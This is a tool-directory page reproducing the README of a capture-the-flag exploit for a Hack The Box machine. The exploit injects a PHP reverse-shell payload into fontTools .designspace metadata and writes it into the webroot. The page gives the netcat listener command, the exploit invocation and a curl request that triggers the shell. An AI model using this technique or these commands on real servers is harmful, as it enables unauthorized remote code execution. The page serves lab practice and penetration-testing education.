Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyยฉ 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-66034-htb-ctf โ€” Exploit for VariaType HTB machine leveraging XML injection in fontTools to achieve RCE via PHP reverse shell payload in .designspace metadata. | Kitploit
Tools/GitHubGitHub/jwsly12/cve-2025-66034-htb-ctf
Payload GenerationExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHubjwsly12/cve-2025-66034-htb-ctf

CVE-2025-66034-htb-ctf

Exploit for VariaType HTB machine leveraging XML injection in fontTools to achieve RCE via PHP reverse shell payload in .designspace metadata.

Share
View Repository
1507 months agoNot yet reviewed

CVE-2025-66034-htb-ctf

VariaType Variable Font Generator Exploit

This repository contains a specialized exploit for the VariaType machine on Hack The Box. The exploit leverages a vulnerability in how the fontTools library or the web application handles .designspace XML files and metadata interpolation to achieve Remote Code Execution (RCE).

๐Ÿ“ Description

The vulnerability exists in the font generation process. By crafting a malicious designspace file, we can inject a PHP reverse shell payload into the font's metadata (specifically the <labelname> field). When the server processes these files to generate a variable font, it writes the output to a user-defined path, allowing us to drop a .php shell in the webroot.

๐Ÿ› ๏ธ Features

  • Automated Font Generation: Creates valid source-light.ttf and source-regular.ttf master fonts using fontTools.
  • XML Injection: Generates a malicious designspace file with a CDATA-wrapped PHP payload.
  • Path Traversal/Arbitrary File Write: Attempts to save the resulting "font" as a .php file in the public directory.
  • Randomization: Generates unique shell names to avoid conflicts.

๐Ÿš€ Requirements

You must have Python 3 installed along with the following libraries:

pip install fontTools requests

๐Ÿ’ป Usage

1. Start your listener

On your local machine (or Pwnbox), start a Netcat listener:

nc -lvnp 4444

2. Run the exploit

Execute the script by providing your HTB VPN IP and the listener port:

python3 exploit.py --ip <YOUR_IP> --port 4444

3. Trigger the shell

If the upload returns a 200 OK (or sometimes even a 500 if the processing happens before the error), the script will provide the filename. Access it via curl or your browser:

curl http://portal.variatype.htb/shell_xxxxxx.php

โš™๏ธ Arguments

ArgumentDescriptionDefault
--ipYour listener IP (VPN)Required
--portYour listener portRequired
--pathTarget path for the shell/var/www/portal.variatype.htb/public
--urlThe upload endpointhttp://variatype.htb/tools/.../process

โš ๏ธ Disclaimer

This script is intended for educational purposes and authorized penetration testing only. Accessing or attacking targets without prior authorization is illegal.


How to use this README:

  1. Save the content above as README.md in the same folder as your script.
  2. Ensure your script is named exploit.py or update the filename in the commands above.
Download Tool

Most Popular

View all โ†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    ๐ŸŽฏ The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    501
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    467
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    340
  • 4

    opencti

    opencti-platform/opencti

    Open Cyber Threat Intelligence Platform

    314
  • 5

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    307
  • 6

    estorides

    grisuno/estorides

    Aggregates 99+ free OSINT sources in parallel, resolves entities into a knowledge graph, and exports STIX 2.1, MISP, or GraphML with LLM-assisted analysis.

    295

Explore all tools

Browse our collection of tools

View all tools โ†’